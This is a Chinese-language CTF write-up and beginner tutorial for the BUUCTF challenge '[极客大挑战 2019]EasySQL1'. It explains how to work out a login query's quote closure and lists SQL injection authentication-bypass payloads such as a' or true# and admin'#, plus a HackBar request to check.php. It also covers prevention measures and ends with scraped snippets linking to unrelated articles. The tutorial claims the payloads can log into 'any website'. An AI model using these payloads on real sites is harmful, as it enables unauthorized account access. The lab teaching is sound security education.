0基础学习SQL注入之万能账号密码(BUUctf例题-[极客大挑战 2019]EasySQL1)

做题

借助例题[极客大挑战 2019]EasySQL1来理解SQL注入中的万能账号密码。

我们现解题,解题过程中的知识点在后面都会说到。

 打开网址,我们看到的是这个界面。根据题目提示应该是属于SQL注入类型的

1.寻找注入点,很明显,输入用户名和密码的地方应该就是注入点

2.判断闭合方式是字符型还是数字型

我们输入1 1' 1" 查看界面回显,可以发现

在用户名处输入1' 1"时候,界面的回显是一样的

回显界面都是下面的这个

 当我们输入1'后,回显就是这样的

 可以判断出单引号为起闭合方式

一般情况下,SQL语句闭合方式为单引号

输入1、1"时,没有SQL语句报错,只是提示我们输入的值是不对的,因此我们可以先假设SQL语句闭合方式是单引号

username输入1时,形成的sql语句是

SELECT*FROM table_name WHERE username='1'and password='123';

username输入1"时,形成的sql语句是正确的

SELECT*FROM table_name WHERE username='1"'and password='123';

username输入的是1',形成的sql语句是错误的

SELECT*FROM table_name WHERE username='1''and password='123';

第一个单引号和第二个单引号形成了新的闭合,剩余第三个单引号,组成的sql语句不正确,于是语句报错。

所以可以推出SQL语句闭合方式是单引号。

假设SQL语句是双引号闭合的情况

username输入1时,形成的sql语句是正确的 SELECT*FROM table_name WHERE username="1"and password="123";

username输入1"时,形成的sql语句是 SELECT*FROM table_name WHERE username="1""and password="123"; 正确的SQL语句不可以出现一对双引号包含双引号的。所以上面这条应该出现SQL报错,但实际没有报错,因此我们假设的双引号闭合方式是不成立的。

username输入的是1',形成的sql语句是正确的,不会报错 SELECT*FROM table_name WHERE username="1'"and password="123"; 而然实际上这条语句报错了,因此我们假设的双引号闭合方式是不成立的。

综上,我们可以推出SQL语句闭合方式是单引号

3.尝试万能账户和密码解题

一般来说,有账号密码登陆的题,在判断完闭合方式后,可以尝试先用万能账号密码解题

(用户名和密码至少有一个输入万能密码即可获得正确的flag)

 可以看到得到了flag

 知识点

1.造成SQL注入的原因

在没有对用户的输入进行过滤、检测的情况下,就把用户输入数据,带入到数据库中执行SQL语句。利用SQL注入:由于系统没有对输入的数据进行过滤、检测,就带入到数据库中执行SQL语句,那么当用户输入一条恶意的数据,使其与原SQL语句拼接、重组得到一条恶意的SQL语句,当数据库执行这条恶意的SQL语句时,就会把数据库中的信息暴露出来,从而泄露信息。

2.防止SQL注入的措施

1、SQL语句的执行代码使用预编译 PreparedStatement 。

2、确定每个数据的类型,比如是数字,数据库则必须使用int类型来存储。

3、限制传入数据的长度,这能够在一定程度上防止sql注入。

4、严格限制用户使用数据库的权限,能够在一定程度上减少sql注入的危害。

5、避免直接响应一些 sql 语句执行异常的信息。

6、过滤参数中含有的一些数据库关键词。

3.判断SQL语句闭合方式原理:

MYSQL数据库的包容性比较强,如果你输错了数据的类型,MYSQL数据库会自动将其转换成正确的数据类型,比如输入1)、1"、1-等,只要数字后面的字符不是闭合符的,数据库都会把你输入的错误的数据转换成正确的数据类型。

但是,若输入的数字后面的字符恰好是闭合符,则会形成闭合,若闭合后形成的sql语句是错误的,那么sql语句执行就会错误,从而造成页面显示错误。

例如:在Mysql数据库下,代码如下:

$id=$_GET[‘id’];
$sql=“SELECT * FROM name WHERE id=’$id’ LIMIT 0,1”;

可以看到’(单引号)就是这条语句的闭合符 当,id输入的是1),那么拼接成的sql语句就是:“SELECT * FROM name WHERE id=‘1)’ LIMIT 0,1”; 按理来说这个sql语句应该是错误的,执行会报错,但是因为是在Mysql数据库环境下,它会自动把错误的数据1)转换成合法的数据1,从而使得sql语句执行成功,相同的输入1-、1"也一样。

但是,若id输入的是1’,那么形成的sql语句就是:“SELECT * FROM name WHERE id=‘1’ '(两个单引号) LIMIT 0,1”; 那么第1个单引号就和第2个单引号形成闭合,然后还剩下一个多余的第3个单引号,从而报错。

只要在输入的数据中,形成了新的闭合,且组成的sql语句不正确,那么就会报错。

相反SqlServer、oracle数据库对数据类型很严格,输错数据类型不会自动转换成正确的数据类型,所以只要输入的数据类型不正确就会出现报错信息。 以此特性就可以进行bool盲注。

 4.万能账户密码

一、什么是万能账号密码

我们平时登录账号时,如果是第一次登录,系统会提示我们注册账号,并将我们注册的账号和密码保存到数据库中。当我们再次登录时,系统会将我们输入的账号和密码和数据库中的数据进行匹配,匹配成功能登录。这就意味着我们需要知道一个已经注册过并且正确的账号和密码才能进行登录,那如果我不小心忘记了我的账号或者密码,或者我压根就不知道账号和密码,还有没有办法登录呢?答案是肯定的,那就是 【万能账号密码】

万能账号密码是指 【万能账号】和 【万能密码】,顾名思义,就是可以 【登录任意网站】的账号和密码

1、万能账号

当我们不知道用户的账号并且不知道用户的密码时,可以使用万能账号。

万能账号并不是一个真正意义上的账号,它是一种【拥有不同变体的格式】

需要注意的是,以下所有万能账号中的 a 可以是自定义的数字或字母,比如 1,2,3,b,c,d

【数值型万能账号】

a or true #              a or ture #
a or 1 #                 a or 1 #
a or 1 -- a             (注意第2个a前面有个空格)
a or true -- a          (注意第2个a前面有个空格)

【单引号字符型万能密码】

a' or true#
a' or 1#
a' or 1 -- a(注意第2个a前面有个空格)
a' or true -- a(注意第2个a前面有个空格)

【双引号字符型万能密码】

a" or true #
​
a" or 1 #
​
a" or 1 -- a
​
a" or true -- a

1.1 万能账号的使用

账号输入 【万能账号】, 比如 a or true #

密码随便输入,比如 123456

一个网络安全意识淡薄的网站,其登录功能的SQL语句大概是下面这个样子

select * from user where username='user' and password='pass'

1、万能账号原理

当我们在登录界面输入 【万能账号】比如 a’ or true # 以后,后端会将我们输入的参数拼接到SQL中,然后去数据库中查询账号和密码,SQL语句大概是下面这样

select * from user where username='a' or true #' and password='pass'

由于 # 在SQL中是注释符,注释符后面的内容不起作用,所以真正执行的SQL语句大概是下面这样

select * from user where username='a' or true

or true 会使SQL语句恒成立,从而查询出数据库中的所有账号和密码,从而使我们成功登录

1.1 注释符

除了 # 以外, -- 也是SQL中的注释符,但SQL的语法格式规定--和后面的注释内容必须间隔一个空格,所以这需要使用 a' or 1 -- a 而不是 a' or 1 -- 其原理和 a’ or 1 # 大同小异,拼接到SQL中大概是下面这样

select * from user where username='a' or true -- a' and password='pass'

注释后面的内容不生效,真正执行的SQL大概是下面这样

select * from user where username='a' or true

SQL语句恒成立,从而登录成功

换句话来说,a' or true -- a经过SQL的转化后,结果等价于 a’ or true #

1.2 比较运算符

SQL中规定,非布尔类型的数据参与比较运算时,会转化为布尔类型再参与运算。比如 or 1 或者 or 1=1 ,会转化为布尔类型的 true 再参与 or 的比较运算,也就是变成 or true ,同样能使条件恒成立,从而登录成功

简单来讲就是:a' or 1 # 或者 a' or 1=1 # 这里1转化为布尔类型就是true ,1=1转换为布尔卡类型也是true,等价于 a' or true #

2、万能密码

当我们知道用户的账号,但不知道用户的密码时,可以使用万能密码,万能密码并不是一个真正意义上的密码,而是一个【拥有不同变体的格式】

需要注意的是:万能密码中的 admin,必须是真实的用户名

【数值型万能密码】

admin #

admin -- a(a前面有空格)

【单引号字符串型万能密码】

admin' #

admin' -- a(a的前面有空格)

【双引号字符串型万能密码】

admin” #

admin" -- a(a的前面有空格)

2、万能密码原理

当我们在登录界面输入 【万能密码】 比如 admin’ # 以后,后端会将我们输入的参数拼接到SQL中,大概是下面这样

select * from user where username='admin' #' and password='pass'

由于 # 在SQL中是注释符,注释符后面的内容不起作用,所以真正执行的SQL大概是下面这样

select * from user where username='admin'

SQL只会在数据库中查询用户名,而不是同时查询用户名和密码,这就意味着,只要用户名正确,就可以登录成功

2.1 注释符

除了 # ,-- 在SQL中也是注释符,SQL的语法格式规定 --后面必须使用空格来间隔后面的注释内容,所以需要将 --写作 -- a,后面的 a 可以是任意数字或者字母

简单来件就是 admin' – a 等价于 admin'#

使用HackBar进行SQL注入

Load URL(加载网址):将网址“框”下来 Split URL(切分网址):自动切分网址,便于快速找出需要修的地方 Execute(执行):相当于F5

image-20240313162759457

/check.php?username=a' or true %23& password=1

添加check.php是因为

跳转到check.php页面,可知此页面与数据库产生交互。

GET传参要经过url编码,所以使用url进行输入时,不能使用#,而应该使用其url编码%23

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/538021.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

数据结构:线性表————单链表专题

🌈个人主页:小新_- 🎈个人座右铭:“成功者不是从不失败的人,而是从不放弃的人!”🎈 🎁欢迎各位→点赞👍 收藏⭐️ 留言📝 🏆所属专栏&#xff1…

纯小白蓝桥杯备赛笔记--DAY4(数学数据结构图论)

文章目录 数学质因数分解辗转相除法求最大公约数最小公倍数:快速幂乘法逆元费马小定理 逆元乘法逆元素数判定与埃式筛法朴素素数判定法埃式筛法 图论并查集T3:真题--合根植物DijkstraFloyd 基础算法递归,循环,前缀和,差分STL 数学…

数据分析案例(一):地区收入的PCA主成分分析

练习1 地区收入的PCA主成分分析 0.变量说明 1.导包操作 核心思路:导入基础数据操作库包,PCA、k-means 库包,数据可视化库包 import pandas as pd import numpy as np from sklearn.decomposition import PCA from sklearn.preprocessing i…

宝塔面板安装软件 提示需要[xxxMB]内存 强制不能安装

解决方法: 第一步: 编辑修改/www/server/panel/class/下的文件panelPlugin.py vi /www/server/panel/class/panelPlugin.py注释以下判断的内容: ## 第二步: 重启宝塔面板,然后安装即可 bash bt 1

HarmonyOS实战开发-如何实现对游戏实现基本控制。

介绍 本示例基于H5游戏,通过arkui的button实现对游戏实现基本控制,展示webview的JS注入与执行能力,及native应用与H5的通信能力。 本例的H5游戏页面,由https://yangyunhe369.github.io/h5-game-blockBreaker/ 提供 效果预览 使…

三子棋+迷宫

又水了一篇,嘿嘿不废话了,正文开始 文章目录 1.三子棋(Tic-Tac-Toe)游戏流程解析游戏设计游戏代码实现1. 包含头文件和定义全局变量2. 初始化游戏板3. 打印游戏板4. 玩家行动5. 检查胜利条件6. 主函数下面是完整的C语言代码 2.控…

Codeforces Round 521 (Div. 3)

目录 A. Frog Jumping B. Disturbed People C. Good Array D. Cutting Out E. Thematic Contests F1. Pictures with Kittens (easy version) F2. Pictures with Kittens (hard version) A. Frog Jumping 直接模拟即可注意数据范围需要开long long void solve(){LL a,…

LeetCode-5. 最长回文子串【字符串 动态规划】

LeetCode-5. 最长回文子串【字符串 动态规划】 题目描述:解题思路一:动态规划五部曲解题思路二:动态规划[版本二]解题思路三:0 题目描述: 给你一个字符串 s,找到 s 中最长的回文 子串 。 如果字符串的反序…

kubernetes应用的包管理工具---Helm的安装、部署、构建Helm Chart、分发

kubernetes应用的包管理工具—Helm的安装、部署、构建Helm Chart、分发 文章目录 kubernetes应用的包管理工具---Helm的安装、部署、构建Helm Chart、分发1. 引入Helm的原因1.1 没有使用Helm的部署1.2 使用Helm部署 2. Helm核心概念3. Helm架构3.1 V2版本3.2 V3版本 4. Helm安装…

品牌百度百科词条创建多少钱?

百度百科作为国内最具权威和影响力的知识型平台,吸引了无数品牌和企业争相入驻。一个品牌的百度百科词条,不仅是对品牌形象的一种提升,更是增加品牌曝光度、提高品牌知名度的重要途径。品牌百度百科词条创建多少钱,这成为了许多企…

基于SpringBoot+Vue的高校会议室预定管理系统(源码+文档+部署+讲解)

一.系统概述 伴随着我国社会的发展,人民生活质量日益提高。于是对系统进行规范而严格是十分有必要的,所以许许多多的信息管理系统应运而生。此时单靠人力应对这些事务就显得有些力不从心了。所以本论文将设计一套高校会议室预订管理系统,帮助…

【电控笔记0】拉式转换与转移函数

概要 laplace:单输入单输出,线性系统 laplace 传递函数 总结

python+appium调@pytest.mark.parametrize返回missing 1 required positional argument:

出错描述: 1、在做pythonappium自动化测试时,使用装饰器pytest.mark.parametrize(“参数”,[值1,值2,值3]),测试脚本执行返回test_xx() missing 1 required positional argument:“…

Mybatis generate xml 没有被覆盖

添加插件即可 <plugin type"org.mybatis.generator.plugins.UnmergeableXmlMappersPlugin"/>

ssm040安徽新华学院实验中心管理系统的设计与实现+jsp

实验中心管理系统 摘 要 本安徽新华学院实验中心管理系统的设计目标是实现安徽新华学院实验中心的信息化管理&#xff0c;提高管理效率&#xff0c;使得安徽新华学院实验中心管理工作规范化、科学化、高效化。 本文重点阐述了安徽新华学院实验中心管理系统的开发过程&#x…

libcurl 简单实用

LibCurl是一个开源的免费的多协议数据传输开源库&#xff0c;该框架具备跨平台性&#xff0c;开源免费&#xff0c;并提供了包括HTTP、FTP、SMTP、POP3等协议的功能&#xff0c;使用libcurl可以方便地进行网络数据传输操作&#xff0c;如发送HTTP请求、下载文件、发送电子邮件等…

蓝桥杯python速成

总写C&#xff0c;脑子一热&#xff0c;报了个Python&#xff08;有一点想锤死自己&#xff09;&#xff0c;临时抱佛脚了 1.list的插入删除 append extend insert&#xff08;在索引位插入99&#xff09;---忘记用法别慌&#xff0c;用help查询 remove&#xff08;去掉第一个3…

mysql题目2

tj11: select sex,count(sex) from t_athletes group by sex; tj12: select name 姓名,TIMESTAMPDIFF(year,birthday,2024-1-1) 年龄 from t_athletes tj13: SELECT * FROM t_athletesWHERE id NOT IN (SELECT aid FROM t_match WHERE sid IN (SELECT id FROM t_sport WHE…

510天,暴雪竞品迎来大考

北京时间4月10日&#xff0c;暴雪娱乐、微软游戏与网易正式宣布重新达成合作。两则数据值得关注&#xff1a; 一是上午暴雪与网易刚宣布合作&#xff0c;中午《魔兽世界》玩家预约就超过了20W。 截图时间为中午12:48 二是在上午10:24&#xff0c;《炉石传说》官方公众号发布回…

直播视频传输处理技术

流程 在视频直播场景中&#xff0c;从拍摄到手机用户接收的整个过程涉及多个技术环节&#xff1a; 视频采集&#xff1a; 视频源通常来自摄像机或智能手机摄像头&#xff0c;通过捕捉连续的画面生成原始视频信号。 编码压缩&#xff1a; 为了减少数据量以适应网络传输&#x…